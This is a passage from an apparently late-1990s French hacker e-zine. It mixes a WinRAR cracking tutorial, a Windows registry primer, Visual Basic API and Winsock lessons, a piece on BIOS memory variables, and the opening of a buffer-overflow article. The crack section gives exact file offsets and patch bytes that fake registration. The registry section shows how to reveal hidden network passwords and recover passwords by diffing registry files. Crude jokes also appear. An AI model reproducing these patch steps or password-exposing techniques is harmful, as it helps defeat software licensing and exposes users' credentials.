Ou l'adresse recherchee est la valeur xx et est egale a 0 !

Cela parait coherent. Le programme n'est pas enregistre, et la valeur du flag
est en effet bien egale a 0.
Qu'allons nous faire ? bahh, assez logiquement, nous allons essayer de
modifier la valeur de ce byte. Comment proceder ? Nous allons essayer d'aller
modifier la valeur de ce byte directement dans WINRAR.EXE.
Pourquoi directemment dans le fichier .EXE ? Pour etrecertain que la valeur
que nous allons mettre sera bien en memoire des la 1ere instruction du
programme. Retournons au tout debut du listing du desassemblage.
Nous avons la une information interessante:

Data Offset = 0004CC00, Data Size = 00007C00
Cela veut dire que notre segment de donnees commence au byte n0004CC00 dans
le fichier WINRAR.EXE .
Retournons maintenant dans la fenetre "Hex Display of Data Object/Segments",
sur la 1ere page.
Nous observons que la 1ere donnee se trouve a l'adresse 0044E000.
Notre variable elle, se trouve a l'adresse  0045157C.
Nous effectuons donc le calcul 0004CC00+(0045157C-0044E000), avec la
calculatrice en mode hexadecimal de Windows (je parie que vous vous en etiez
jamais servi hein ;)))
Ca nous donne comme resultat: 5017C.
Nous allons donc aller modifier le byte n5017C dans WINRAR.EXE

Avant toute modification, je vous conseille de sauvegarder le fichier
WINRAR.EXE original, par securite.
Nous lancons ensuite UltraEdit, et ouvrons le fichier WINRAR.EXE en mode
d'edition hexadecimale (menu "Edit", "Hex Edit"), et nous nous rendons a
l'offset 5017C du fichier (l'offset est affiche dans la barre de status en
dessous). Nous remarquons que nous retrouvons bien les meme bytes
"C4 F4 E6 E4" qui suivaient un peu plus loin dans les donnees en memoire, ce
qui confirme qu'on est bien au bon endroit.
Qu'allons nous mettre a cet adresse ?
Une valeur differente de 0, peut importe. Mettons par exemple "FF FF FF FF",
pour etresur ;) Puis sauvegardons le fichier WINRAR.EXE

Et si on essayait ? Nous lancons WINRAR.EXE, et...
surprise, c'est comme si on avait rien change :(((
D'ou cela provient-il ? Cela veut dire que la valeur qui est dans le fichier
n'intervient pas lors de l'execution, qu'elle est simplement ecrasee par
la valeur reelle du flag a un moment dans le programme.


DEBUGGING
=========
Nous allons donc maintenant essayer de savoir ou a lieu cette modification
de la variable. Pour cela, nous allons relancer WIN32DASM, charger WINRAR.EXE,
et lancer le debugger.
Nous cliquons donc sur la commande "Load Process" du menu "Debug", puis nous
pressons "OK" (aucun parametre).
Ensuite, nous allons mettre des points d'arrets a tout les endroits du
programme qui font reference a l'adresse 0045157C.
Pour cela, nous allons dans le menu "Search", commande "Find Text", et nous
tapons l'adresse  "0045157C" a rechercher.
A la 1ere occurence trouvee, vous pressez annuler, pour ne plus avoir cette
fichue boite de dialogue affichee ;), puis vous pressez F2, pour activer un
point d'arret a cet endroit. La ligne doit normalement s'afficher en jaune.
Puis vous pressez sur F3 pour continuer la recherche, et de nouveau F2...
Vous procedez ainsi de suite jusqu'a avoir un message
"Text {0045157C} Not Found".
Au passage, vous pouvez remarquer que cette adresse a l'air d'etre
effectivement beaucoup utilisee avec des comp "[0045157C],00000000", donc
probablement des tests qui verifie la registration ;)

Maintenant, nous allons lancer le programme, avec la commande "Run" (F9).
Aussitot lance, aussitot arrete hehe ;)
Normalement, vous etes arrete au breakpoint:

00427554  test eax,eax
00427556  sete al
00427559  and eax,00000001
0042755C  mov dword ptr [0045157C],eax  <- BREAKPOINT

Comme vous le remarquez, la valeur courante de EAX est apparement placee
dans la variable, d'ou l'ecrasement que nous avions mentionne tantot...
Que faire ? La solution la plus facile serait d'eviter l'ecrasement de notre
variable, que nous avons initialisee a FFFFFFFFh en patchant l'executable.
Pour cela, nous allons utiliser l'instruction NOP (90h), qui est une
instruction qui ne fait rien. Cependant elle occupe des octets, ce qui va nous
aider, puisque la structure du fichier .EXE ne sera donc pas modifiee.
Placons le curseur exactement sur l'adresse de l'instruction de modification.
Au passage, notons:

0042755C  A37C154500  mov dword ptr [0045157C],eax

Donc, cette instruction est codee de maniere hexadecimale par
"A37C154500". Dans la barre de status du dessous, nous notons aussi l'offset
de l'instruction dans le fichier executable:

"@Offset 00026B5Ch in File:WinRAR.exe"

Nous ressortons donc UltraEdit, pour aller modifier les 5 bytes situes a
l'offset 00026B5Ch, et aller y ecrire 9090909090h.
Mais tout n'est pas termine...
Nous pouvons aussi nous servir des lignes precedents la commande MOV.
En effet, si nous les regardons plus attentivement, en observant la derniere
instruction "and eax,00000001", nous pouvons en tirer comme conclusion que la
valeur est une valeur egale soit a 0 soit a 1. En effet, la commande AND est
souvent utilisee pour masquer des bits en effectuant un AND logique.
Danc ce cas-ci, elle masque tout les bits sauf le premier.
Etant donne que la valeur 0 signifie que le programme n'est pas enregistre,
nous pouvons donc estimer que la variable a l'adresse 0045157C doit contenir
la valeur 1 pour simuler la registration.
Nous allons donc avec UltraEdit, aller remplacer la valeur FFFFFFFFh que nous
avions ete mettre tantot, par la valeur 00000001, qui est plus appropriee.

Puis nous relancons notre programme et...
... et cette fois ca a bien l'air de marcher ;))))
La barre de titre de la fenetrenous l'indique en tout cas.
Allons voir dans le menu "Options".
Tient tient, l'option "Registration" est toujours presente.
Entrons des valeurs pour voir: "iga" "iga"
Nous avons bien la boite de dialogue "Correct Registration" qui apparait.
Voila qui est fait ;)

Il reste cependant une enigme, a savoir le fait que la commande "Registration"
soit toujours presente dans les menus. N'ayant pas eu de version enregistree
mai seulement des version de demonstration, je ne peut savoir si elle est
toujours bien presente dans les versions enregistrees officiellement.
Cependant tout les tests concernant le flag de registration semblent montrer
la faiblesse du systeme de protection du programme.


LE MOT DE LA FIN
================
Pour resumer, nous devons donc modifier les octets suivants dans le programme:

offset: 5017C : 00 00 00 01
offset: 26B5C : 90 90 90 90 90

Pour faciliter cette tache, je vous conseille de programmer une petite
fonction dans le language de votre choix, que vous pourriez utiliser
facilement, en donnant l'offset et le byte a patcher.

Voila,j'espere que vous n'avez pas eu trop de mal a comprendre la methode
generale expliquee ici ;)
Ciao,

 ___________________
[Quotes of the month]\____________________________
[__2 --> Non je veux pas y aller a la garderie c'ete!
[Wyze--> Bah fait toe en pas, on vas y aller ensemble!
[Qwz --> Bah moe je suis toujours rendu la!
[JacK--> La garderie ca suxx, les monitrices c toutes des lesbiennes!!
[Bozz--> Eil c'est degelasse, y veulent meme pas me laisser rentrer a la garderie!
[Data--> Look like deja partie pour l'ete, ha les camps de vacances.
       
                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.16]  _|_|  Quand JACKEL se force ailleurs que sur une toilette
 \_________/_/                 So CalleD                    _ ______ __ _  _
              Ecrire en Programmant en C during same time _/_/ [By:|JaCKeL|] \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


     ************************************************
              S           E            X
     ************************************************

 /*   Petite PUB pour attirer l'attention des puppies 
      a lire cette article !! Ca marche non ?          */
                                             


Comme   je  crois  formellement qu'avant de /vouloir/pouvoir/
planter un systeme  de  200  machines  il  faut  premirement 
comprendre sa propre machine. Donc cet article est le premier
d'une srie de (je sais pas combien)  qui  porteront  sur  le 
fonctionnement, comportement logiciel  et  matriel  de votre 
ordinateur. 

Sujet de ce premier article : LA BASE DES REGISTRES WINDOWS.
Classe de comprhension :           Software
Niveau :                            Expert / Avanc
Crdit :                            AUCUN !!! Mouhahahah
        // Hehe ca vais vraiment livre platte cette facon 
        // d'annoncer l'article.



--------------- FAQ mode article :) ---------------------

   "Duh ?? Base des registres kess ca ???"

C'est  peut-tre  la  chose  la  plus  important du Windows.
Personne a remarqu que  depuis  Windows  95  on  a  plus  a 
setter  des  grments  comme  les  IRQ  (Interrupt  ReQuest)
ou les DMA (Direct Memory Access) dans  vos  jeux  ou  apps,
comme dans le bon  vieux  temps  du  DOS. Puis  personne n'a 
remarqu que Windows  retien  toute  information comme votre 
background,  vos  prfrences,  vos  priphriques  pis tous 
le reste. Ben c'est ben stocker a quelque part ca !
   Think BASE DE REGISTRE MEC !!!


*--- 1.  "C'est o ca ???"

Trs simple la base de registre est composs de 2 fichiers
C:\WINDOWS\
     USER.DAT    // Vos prfrences (ou setting) personnel
     SYSTEM.DAT  // Les paramtres systme et logiciel
Je vous recommande trs fortement de faire un backup 
de ses 2 fichiers avant d'effectuer toute modification.





*--- 2.  "Pis on peut modifier ca ??? "
         "C'est gros,comment je fais pour me retrouver ??"

Oui ca se modifie, et malgr les apparances, c'est trs
simple. 

On  peut  l'diter  avec  REGEDIT.EXE (fourni dans Windows).
Il existe une recherche dans  le  menu  dition pour trouver
ce que l'on cherche. Ensuite on peut  la  modifier a la main
en   double   cliquant   sur   la   variable  a  changer, ou 
l'automatiser avec un .REG , et comment faire un .REG ??avec 
notepad, tout simplement !!!!

Exemple de .REG

[HKEY_LOCAL_MACHINE\SOFTWARE\DMA Design\Grand Theft Auto]
  ;//   ( le path dans la base des registres )
  ;//   ( dans se cas-ci il s'agit du .REG de 
  ;//	( Grand Theft Auto (un bon jeux en rseau))

"Language"=dword:00000000

  ;//   ( la variable a changer ou  crer 
  ;//     suivi de la modification          )

En passant les ";//" sont des commentaires.
Les phrases commencant par ; sont ignors dans les .reg
et les // sont une indiquation de commentaire dans 
plusieurs language de programmation. 


*---3.  "Kess tu veux que ca me fasse??? 
         J'veux hacker moi criss."
  
Justement...  L'encryption  et le radressage des passwords
Microsoft se font la. En plus,  plusieurs  autre  programme 
l'utilise pour stocker des informations  qui  peuvent  etre 
tres utile. Comme par  exemple  allant  changer  le contenu
de : 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Policies\Network\HideSharePassword a 0, vous dcachez tous 
les passwords rseau.

Pour  logger  les  modifications dans une base de registre,
copier  vote  base  de  registe  avant les modifications et
recopier la apres. Ensuite utilisez  un  application  comme
FILECMP.exe  du  DOS  6.22  pour  comparez  les  changement 
entre l'ancien et la nouvelle. De cette facon, vous pourrez
dcoder les changements, et meme les passwords...


                                                |JaCKeL|

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.17]  _|_|              API WINSOCKS
 \_________/_/                 So CalleD                    _ ______ __ _  _
                              API WINSOCKS                _/_/[By:Nitrogen] \
  __________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]



        Disclaim:
        ---------
 
      Mouahhahaha, dsol j'aimerais bin crire un disclaim, mais mon
	article  ne ce situe dans  l'illgal,  mais   plutot   sur   la 
	programmation.  Parce que je crois qu'un hacker qui ne sais pas
	coder est un peu mal prit...  Je  profite  de ce  disclaim pour 
	faire   une petite   intro.  Je   ne    suis  pas un  expert en 
	programmation, mais  je suis  assez  experiment pour vous dire 
	que Visual Basic  est plus pour  debuter  en programmation.  Si 
	vous voulez   faire de  vrai application n'sitez pas, le C/C++ 
	est pour vous.

	  Cet article  est destin   aux personnes  ayant  une certaine 
 	  connaissance de Visual Basic, si vous n'avez jamais coder  ce 
 	  language passez  l'article suivant.

     	Article:
        --------
	Bon bien c'est ici que ca commence.  Je  vais toucher  l'API de
	windows et au control winsock.

 _____   ________ ________________ ____________  ________ _________________
/                                                                          \
|                               Informations                               |
\____________ ___________  __________________ _____________ _____ _________/
|							     	                           |
| 1.0 Et bien...  Qu'est ce que l'API de windows ?!?!                      |
|								                           |
|	API=Application Programming Interface.  Ca sert a appeler            |
|	 des  fonctions  windows  du  style: Faire jouer du  son,            |
|	 Reboot, Replacer le curseur(souris), etc...  Ca facilite            |
|	 compltement la tche d'un programmeur. Sans l'api coder            |
|	 un programme serais trs ardus.   				               |
|	 (Pas pour tout les applications naturlement)                       |
| 								                           |
| 1.1 C'est l'fun mais comment l'utiliser?				         |
|									                     |
|	Bin avez-vous jamais vu Api Text Viewer dans votre menu de	         |
|	Vb?C'est ca..  Jettez-y un  coup d'oeil c'est fascinant...           |
|							                    		   |
| 1.2 Le control Winsock?						               |
|									                     |
|	Oui, le control winsock permet de faire des applications du          |
|	 style Client/Server.						               |
|									                     |
|	Pour ajouter  le control  winsock rien de  plus facile allez	   |
|	 dans le menu Project/Components(CTRL+T) et voila ajouter -->	   |
|	 +++        Microsoft Winsock Control 5.0	+++		               |
\____________ ________________ ______ __________  _______________ _________/

			 ___ _______ _______  _____
			/			         \
			|           API            |
			\________ ____________ ____/

Bon ouvrez Api Text Viewer, il n'y  rien.  Allez dans File/Load text file et
ouvrez  Win32api.txt.  Maintenant   dans la Combo   box (Api Type) choisissez
Declares. Il y  plusieurs items qui apparaissent, voici des call de Dll deja
fait.  Rendez vous jusqu' "SetCursorPos" Dclicker dessus, en bas apparait le
call ou plutot le code a inserer dans un module. Commencez-vous a comprendre?
Selectionner ce texte, et copy.. Maintenant nous allons faire un exemple avec
ce call,  biensur cet  exemple  n'aura   aucun autre   intrt que vous faire
comprendre comment utiliser un call de dll.

	*Faites vous une form --> Frm_Main
	*Inserez 2 boutons --> Cmd_Oui Cmd_Non (un avec une caption "Oui" et
	 l'autre "Non"
	*Inserez un module --> Project/Add module --> Mod_1
	 -Maintenant inserez le call de Dll que vous avez copi dans l'api
		le voici:

Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long,
        ByVal y As Long) As Long

			Decortiquons ce code:
				*Declare--> declare une methode
				*Function--> precise   que  cette methode est 
				 FUNCTION
				*SetCursorPos--> Le nom de   notre   function
				*Lib--> indique la  librairie que nous allons 
				 utiliser(ou plutot le dll)
				*"user32"--> le dll
				*Alias--> indique le nom utiliser pour appeler
				 notre fonction dans un code
				*"SetCursorPos"->le nom que nous allon utiliser
				*(ByVal x As Long, ByVal y As Long)  -->    les
				 coordonnees (X,Y)
				*As Long--> le type de la function


	Alors il  vous reste juste  a mettre du  code dans le bouton.  
        Disons  que nous voulons que la personne ne puisse pas clicker
        sur le bouton NON alors:

Private Sub Cmd_Non_MouseMove(Button As Integer, Shift As Integer,
            X As Single, Y As Single)

	X = 200
	Y = 200
	SetCursorPos X, Y
End Sub


	Tout simplement, nous avons attribu les  coordonnes du curseur
        dans l'vnement MouseMove, ce qui signifie que quand la souris 
        bouge sur le bouton elle active le sub, et dplace le curseur 
        avec la fonction SetCursorPos..

	Voici ce que l'Api  peut nous apporter et nous rendre la tche
        facile...  biensur ceci n'est qu'un banale exemple de ce que 
        l'Api nous offre! Il n'est pas interdit d'explorer soi-mme....
        Amusez-vous bin avec ca...



			 _____ __________  ___ ____
			/                          \
			|         Winsock          |
			\___   _____ ___________ __/


Cette partie est   lgerement plus longue  du fait   que ce n'est  pas  si facile
que  la partie  prcdante,  malgrs  que le  control winsock n'est pas complexe.
Ouvrez un projet Vb et ajoutez un control Winsock de la  maniere expliquer en 1.2


	Pour un Client mettez-vous un Bouton Connecter Deconnecter

		--> Cmd_Connecter--> Cmd_Deconnecter(caption "Connecter" et "Deconnecter")

   		Dans le bouton de connection vous devez entrer le Port Host
                Protocol comme ceci :

			Objet.RemoteHost=Host
			Objet.RemotePort=Port
			Objet.Protocol=sckTCPProtocol
			Objet.Connect

	On  pourrais  remplacer l'objet  par notre  contrle winsock,
        nomm  par   dfault "Winsock1".  Ce lger code  nous permet
        de nous connecter a un serveur.  Mais ceci est totalement 
        facile.  La seul embiguit c'est les structures des packets.
        C'estbeau d'tre connecter, mais  il faut envoyer et recevoir
        des donnes.  Alors allez dans l'vnement DataArrival du 
        control winsock.Insrez ceci :

		Dim Donner as string
		Winsock1.GetData Donner, VbString, BytesTotal

	La mthode GetData recoit le packet et l'insert dans  la 
        variable Donner qui est de type VbString(String) avec sa 
        longueur(BytesTotal).  Ceci vous  permet  de trier ce qui
        va   arriver.  Disons que le packet   envoy et   insrer
        dans Donner  serait "Disconnect" alors:
		
	if (Donner = "Disconnect") then Winsock1.Close:MsgBox("Connection  
          perdu",VbInformation+VbOkOnly,"Dconnecter")

	Interpretons cette  ligne.  Si le packet est   gal a "Disconnect"
        alors fermer la connection a l'aide de Winsock1.Close et aviser  
        l'utilisateur  a l'aide d'une boite de dialogue.  Il ne vous restes
        plus qu' envoyer des packets et tout sera ok.  Rien de plus simple:
	
		Winsock1.SendData "Disconnect"
	
	Et voil vous venez d'envoyer un packet "Disconnect".

	Maintenant pour un serveur, c'est relativement simple.  Tout ce qui 
        reste  a savoir c'est comment coder un programme qui attend un 
        request de connection.
	
		Winsock1.Protocol=sckTCPProtocol
		Winsock1.LocalPort=666
		Winsock1.Listen

	Nous avons mis le protocol Tcp, le port ecoutant  les connections
        est 666 et en fin de compte on dit   d'attendre une   connection.
        Pour   savoir si une connection est demander, l'vnement 

        ConnectionRequest du control Winsock s'en occupe:
	
		if (Winsock1.State <> sckClosed) then Winsock1.Close
		Winsock1.Accept RequestId

	Donc si le socket n'est pas fermer Vb le ferme, ensuite accept la connection.

	CONCLUSION:
		Je crois que vous en savez suffisament pour   dcouvrir maintenant
                par vous mme...







		 _________  __________ __________ ____________________
		/						                  \
		|		       Contact			            |
		\_____ ____________________________________  _________/
		|						                  |
		|	Irc  :Undernet,#Tsarmy,#Iga		            |
		|	Email: The_mac_@geocities.com  		      |
		|	Icq  : 31925098		  		            |
		\______ ______________________ _______________________/


 ___________________
[Quotes of the month]\____________________________
[Cette quotes n'est la que pour prendre .02 sec a votre d/l!]


             
                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.18]  _|_|    BIOS : basic Input and output system
 \_________/_/                 So CalleD                    _ ______ __ _  _
                           Shame on your board            _/_/  [By:Qwzykx]  \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


Ce mois ci, la  F.A.M.I.L.L.E  Slowmot  dcouvre  la  table  des
variables du BiOS !

Dit papa c'est quoi ca les variables du BiOS?
Ha TIto; Farme ta yeul.

Aprs ce bref intro a le Feu Rock et belles oreilles,rpondons  
la question de notre ami Tito.

Les variables du BIos c'est en fait un espace mmoire  RAM  dans
laquelle devinez quoi.. Il se trouve  des  variables,  non  mais
encore, c'est  cet endroit que  les   paramtres  qui grent le
"bon" fonctionnement de votre ordinateur se trouve.

Mais que retrouve t-on a cette mystique et  obscure  pnombre de
la RAM ? Par exemple, on y  retrouve  l'adresse  de  votre  port
srie,  celui  de  votre  port  parallle, la  configuration  du
hardware qui compose votre machine, l'tat du clavier, les stats
de votre HDD sans oublier la so useless Clock counter.

Ha c'est beau avoir toutes ces connaissances sous la  main, mais
pourquoi pas les appliquer? Et pour cette seconde tape de notre
cheminement pdagogique, il vous faudra savoir  a  quel  endroit
dans la RAM se trouve ces dlicates et si hiddent  informations.
Et voici la rponse que vous attendiez tous avec tant  de  hte,
les variables commencent  l'adresse 0040:0000. Et je sens votre
prochaine question qui l'aube a l'horizon : How to go there ?

Et bien Tito, on va commencer  par un  peu  d'exercice  avec  un
programme qui se nomme DEBUG. Et n'ayez crainte, je suis sur que
vous l'avez sur votre ordinateur en ce moment (phear!! et non ce
n'est pas un trojan fait par notre ami JCzic). 
Debug est en fait un  programme trs  mais  quand  je  dis  TRES
insignifiant en grosseur mais qui ironiquement est  encore  plus
gros en utilit.Tout en vous rappelant que le but de cet article
n'est pas d'apprendre  programmer  en Debug  mode (assembleur),
il est toute fois utile de bien savoir ce qu'on peut  en  tirer.
C'est un peu comme modifier les sources codes de votre  eggdrop,
c'est pas vous autres qui l'avez coder mais on sait  ou  changer
des affaires a notre avantage.Donc regardons Debug le magnifique,
et pour tout ces lches en mal de vivres j'ai  moi-mme  sorties
les commandes utiles  savoir  dans  le  cadre  ce  cet  article
(et cadre est le mot juste!) Donc au-lieu de faire le classique:
"?" vous allez descendre le curseur vers la ligne suivante.  Non
excuser, les deux prochaines lignes!

Debug Basica commande option ripped by Qwzykx (with a " ? ")

? --> Premire commande et la plus utile d'entre tous.
d --> Cette commande vous prsente le contenu d'une plage
      mmoire, trs utiles pour voir vos paramtres.
e --> Vous permet d'entrer une valeur a un endroit X, un peut
      comme une commande d'ditage
q --> Gues what ! (Mom im stick in the Debug)

Et  c'est  tout ce dont vous aurez besoin de savoir pour le plan
ducatif de cette oeuvre littraire.

Par exemple, si je veux  voir  ce  qui  se  trouve    l'adresse
0040:0000 (ha tien un effet de dj vu)
Aprs avoir lancer DEBUG,  faite  un  dump  pour  voir  la plage
d'adresse   en  question  : d 0040:0000  un  espace  de  tableau
arrivera  votre cran, vous venez de voir les variables du bios!
(clap clap) A gauche compltement se trouve l'adresse et si vous
remarquer bien, a chaques lignes, l'offset  s'incremante  de  10
(mais SnykeEye's que vous tes, vous avez  srement  vu  que  le
nombre ou groupe de chiffre sur une colonne est des 16 et non de
10!) Et on doit cette merveilleuse invention    Mr. Hexadcimal
lui mme, non mais ya rien de tel  que cette mthode  pour  bien
sentir  la  logique  de la  machine. Encore une fois le plus que
gnreux Qwzykx vous offre une table des caractres!

Dcimal              Hexadcimal            Binaire(sur 4 bits) 
~~~~~~~              ~~~~~~~~~~~            ~~~~~~~
   0			  0 		     0000
   1			  1		     0001
   2			  2              0010
   3			  3 		     0011
   4 			  4		     0100
   5			  5 		     0101
   6			  6		     0110
   7			  7		     0111
   8			  8		     1000
   9			  9		     1001
  10			  A		     1010
  11			  B		     1011
  12			  C		     1100
  13			  D		     1101
  14			  E		     1110
  15			  F	           1111

Simple non?
Le  mode  hexa  dcimal   permet  de  couvrir  la  totalit  des
configurations de bits (4 dans ca cas ci) avec un seul caractre.
Si par exemple vous voyez le  chiffre 6  (et  comme  on  utilise
debug, tout en hexa) les bits reprsents par ce chiffre seront:
0110. Si je mets sa encore plus simple, imaginer que j'ai quatre
lumire brancher sur mon ordi pis que je dis : quand j'envoie un
"1" (c'est du binaire la.. ca marche comme un interrupteur  dans
ca cas ci, 1=On 0=Off).Donc si  je  dsire faire  allumer  les 3
premires lumires : 0111 avec mon ami l'ordinateur,  je n'aurai
qua envoyer le chiffre 7 (0111). Si je  dsire les faires toutes
(1111) j'crirais un F (1111).Mais comme ce type de numrotation
permet 16 modes diffrents,les donnes sur votre ordinateur sont
organiser en octet (8 bits). Par exemple : (0110 0101)  on  voit 
ici les huit bits. Donc  si  vous  voyez  ceci : (0101 0010)  ne
paniquer pas, rester calme, c'est le mme principe que tento, on
dcode ca comme suit: 0101 = 5 et 0010 = 2 donc le chiffre sera:
52. Et si je vois le nombre 8C dans mes dump de debug, ca voudra
dire que les bits associer sont : (1000 1100). Je contrle  donc
8 lumires et j'ai 256 possibilits diffrantes  de  les  faires 
allumer.

Voil pour le mode Hexadcimal.
Vous  voyez  maintenant  pourquoi et comment l'adressage peut se
faire sur les lignes de Debug.Par exemple si je marque l'adresse
0040:0000 (d 0040:0000), l'adresse pointer sera le premier octet
de la ligne (un octet = 8 bits  donc  il  sera  cod  avec  deux
caractres hexa). Si je vais  l'adresse 0040:000C (d 0040:000C),
je me retrouver au 12e octet pointer par l'adresse ( C en hexa =
12 dcimal). Et c'est pourquoi sur chaques  lignes  il  y  a  16
octets, la ligne suivante  (0040:0010)  est  en  fait  la  suite
logique le 10 ne signifie pas dix mais 16 en dcimal).

P.S. Faudrait pas vous fourrer sur une ligne y a 16 octets
(0 a 15) donc la ligne suivante sera de (16 a 31) et voici
le mystre culte du "0"...


Une fois de retour parmi  le  so  fat  Debug,  et  aprs  s'tre
tlport a l'adresse  0040:0000  (d 0040:0000),  on  peut  voir
plein de code bizarre,  et  non  ce  ne  sont  pas  des  strings
binaires mais des codes hexadcimaux (dsoler pour les  fans  du
film Hacker, je viens de pter votre bulle de rve la c'est sur!).
Tout ce beau monde font partie des variables du Bios.

0040:00XX

00 --> Adresse des interfaces sries.
	A cette adresse vous retrouvez l'adresse du port 
        associer  vos ports  de  communication  sries, 
        code sur deux octets.
        Donc si vous voyez au dbut de la  ligne  ceci :
        F8 03
        Un de vos ports srie se trouve  l'adresse  3F8
        (noter  l'inversion   dut    la  mthode  INTEL
         d'criture des donne)
        Si sur la mme lignes vous voyez ceci:
        F8 03 F8 02
        Comme le port est cod sur deux octets,et qu'ici
        on en retrouve 4, il y a donc 2 ports soit : 3F8
        et 2F8.         
 
08 --> Adresse des interfaces parallles.
	Sur la mme lignes que les interfaces srie  (on
        est  l'offset 08 sur la ligne 0040:0000, donc 
        la moiti de la ligne (16/2 = 8). Donc    cette
        adresse on retrouve l'adresse de votre ou de vos
        port(s) parallles.

10 --> Configuration
	Cod sur deux octets,  vous  trouverez  ici  les
 	configurations de votre machine, mais attention,
        vous serez surpris de voir ce que peuvent dire 4
        caractres!

 	Structure: Voici deux octets reprsenter en binaire.
 		   Comme un octet reprsente  8  bits,  deux
 		   octets en reprsenteront  16 (de 0 a 15).

       |15|14|13|12|11|10|9|8|7|6|5|4|3|2|1|0|
       |  |  |  |  |  |  | | | | | | | | | | | 

      .Les bits 15 et 14 reprsente ensemble,  le nombre
       d'interfaces Imprimantes (comme c'est  du binaire,
       on peut monter jusqu' 3 imprimantes (00,01,10,11)
       (oublier pas que 00 ben ca veux  dire  qui  a  PAS 
       d'imprimante!)
      .Les bits 13 et 12 sont Unused.
      .Les bits 11,10 et 9 reprsente ensemble, le nombre
       d'interfaces RS232 (port srie)  
      .Le bit 8 est Unused.
      .Les bits 7 et 6 indique le nombre d'units disquette
       si le bit 0 est  1. 
                            00= 1 disk
                       	    01= 2 disk
 			    10= 3 disk
 			    11= 4 disk
      .Les bits 5 et 4 indique le mode vido lors du dmarrage
       de l'ordi.
			    00 = non Non utilis
			    01 = 40*25 caract. Couleur
			    10 = 80*25 caract. Couleur
			    11 = 80*25 caract. Mono
      .Les bits 3 et 2 son Unused.
      .Le bit 1 Indique si vous possder un copossesseur
       mathmatique.

17 --> Cette adresse vous donne  l'tat  du  clavier.
	Cod sur un octet : Chaque  bit a "1" indique
	l'activation de ces tats.
	
	Le bit 7 = Insert 
	Le bit 6 = Caps Lock
	Le bit 5 = Num Lock
	Le bit 4 = Scroll Lock
	Le bit 3 = Touche Alt (actionn ou pas)
	Le bit 2 = Touche Ctrl (actionn ou pas)
	Le bit 1 = Shift Gauche    "        "   "
        Le bit 0 = Shift Droite    "	    "   "

18 --> tat du clavier tendu
	Cod sur un octet : Chaque bit a "1" indique 
	l'activation de cet tat.

	Le bit 7 = Insert pese
	Le bit 6 = Caps Lock pese
	Le bit 5 = Num pese
	Le bit 4 = Break pese
	Le bit 3 = Mode pause active
	Le bit 2 = Print Screen pese
	Le bit 1 = Alt pese
	Le bit 0 = Ctrl pese

3F --> tat d'un lecteur de disquette
	les bits de faible (0 a 3) indiquent le lecteur
	en marche (1 logique) et le bit 7  est  activer
 	si il y a criture sur le disque.

4A --> Nombre de colonne a l'cran
	Que dire de plus (oubliez pas de  convertir  la
	valeur lue en dcimal!)
	
4C --> Taille de la page cran.
	Indique  le   nombre  d'octet  ncessaire  pour
        afficher une  page  (un  cran)  dans  le  mode
        graphique en fonction.
	Ex: 80x25 = 2000 octets
	et comme chaques caractres est compos de  son 
	attribut (couleur, font, blink...)
	2000 x 2 = 4000 octets
	et comme ceci est dcimal -> 4000 ->FA0 en hexa
	et comme on marche sur du INTEL, la valeur sera
	invers ->A00F (on inverse les couples d'octets)

6C --> Chronomtre
	Le chronomtre est cod sur 4 octets (32 bits).
	Celle-ci est remise  Zro  chaques jours (24h).
	Vous pouvez allez lire la valeur du chronomtre
	mais oublier pas qu'encore une fois, le chiffre
	est en hexa et qu'il faudra l'inverse (vive Intel).

84 --> Nombre de lignes a l'cran
	Que dire de plus (oubliez pas de  convertir  la
	valeur lue en dcimal!)


Et oui, bien sur, il manque plusieurs autres variables  je  n'ai
nommer ici que celles qui risqueraient de vous servir  le  plus.
Et maintenant pour finir  cet  article,  si on  allait  modifier
ces variables  l'intrieur d'un programme. Et programmons en C!

------------[You should keep]-----------
/****************[Exemple d'un changement de valeurs]**************
*
* Fait par: Qwzykx
* Date:     25 mai 99 (on a raining night)
* Version:  0.9999999999999999999999 (priodique)
*
******************************************************************/

void main(void) 	            //Dbut du programme.
  {
   int far *adress;                 //Dclaration d'un pointeur FAR (32 bit)
   adress = (int far *)0x00400017;  //Initialisation de l'adress du pointeur
				    //(L'adress 0040:0017 = Etat du clavier)

   *adress = 0x10;		    //La valeur point par le pointeur est
				    //0001 0000 ---> Scroll lock allum et
				    //les autres sont ferms.
  }
------------[You should drop]----------- 

Pas trop compliquer j'espre! 
Pour conclure, je me fous pas mal que vous  gossier  le  286  de
votre  grand-mre  avec  ces  renseignements  la  ou   que  vous
planifier, comme Wyzeman et __2 la  conqute  du  monde, veillez
noter par contre que mon oncle Bill a avec lui ces matantes  qui
radote.Donc si vous prvoyez faire un programme qui accdera aux
variables du bios, oubliez pas de coder en consquence  si  vous
voulez pas un petit message du genre :

   ___
  /   \ Ce programme va tre arrt parce qu'il  effectu  ___________
 | !!! |une opration non conforme.                        |  Ferme   |
  \___/                                                     ~~~~~~~~~~~
    	Si le problme persiste, contactez le revendeur du
	programme.                                            ___________   
	                                                     | Detail >> |     
			                                          ~~~~~~~~~~~      

                        _________________ _____ _ ______ ____  __  __  _ _ 
  _________________ _.;'_______ ______ _____ __ __ _ __  _    __ _      _ 
['  [#.19]  _|_|    Buffers overflow : be right back
 \_________/_/                 So CalleD                    _ ______ __ _  _
                            le 6-eme passager             _/_/  [By:_rix]    \
  ___________________ __________________ _________ ______/_/_ __ _ __ _  _  _,]


                     ===========================

Apres l'excellente explication de __2 a propos des stacks smashings, il serait
interessant de continuer et peut-etre d'essayer de voir un peu plus
pratiquement comment on procede.

Tout d'abord un petit rappel:

Nous savons donc que la technique consiste a ecraser l'adresse de retour de
la procedure, et cela en remplissant un buffer de donnees du programme qui a
ete cree sur la pile.

Tout ca est bien beau, mais sa pas l'air trop facile a programmer et a
trouver :)


TROUVER DES BUFFERS OVERFLOWS SUR LA PILE:
==========================================

Le moyen le plus evident d'acceder a un buffer pour aller y ecrire est bien
evidemment via les commandes de saisies habituelles d'un programme.
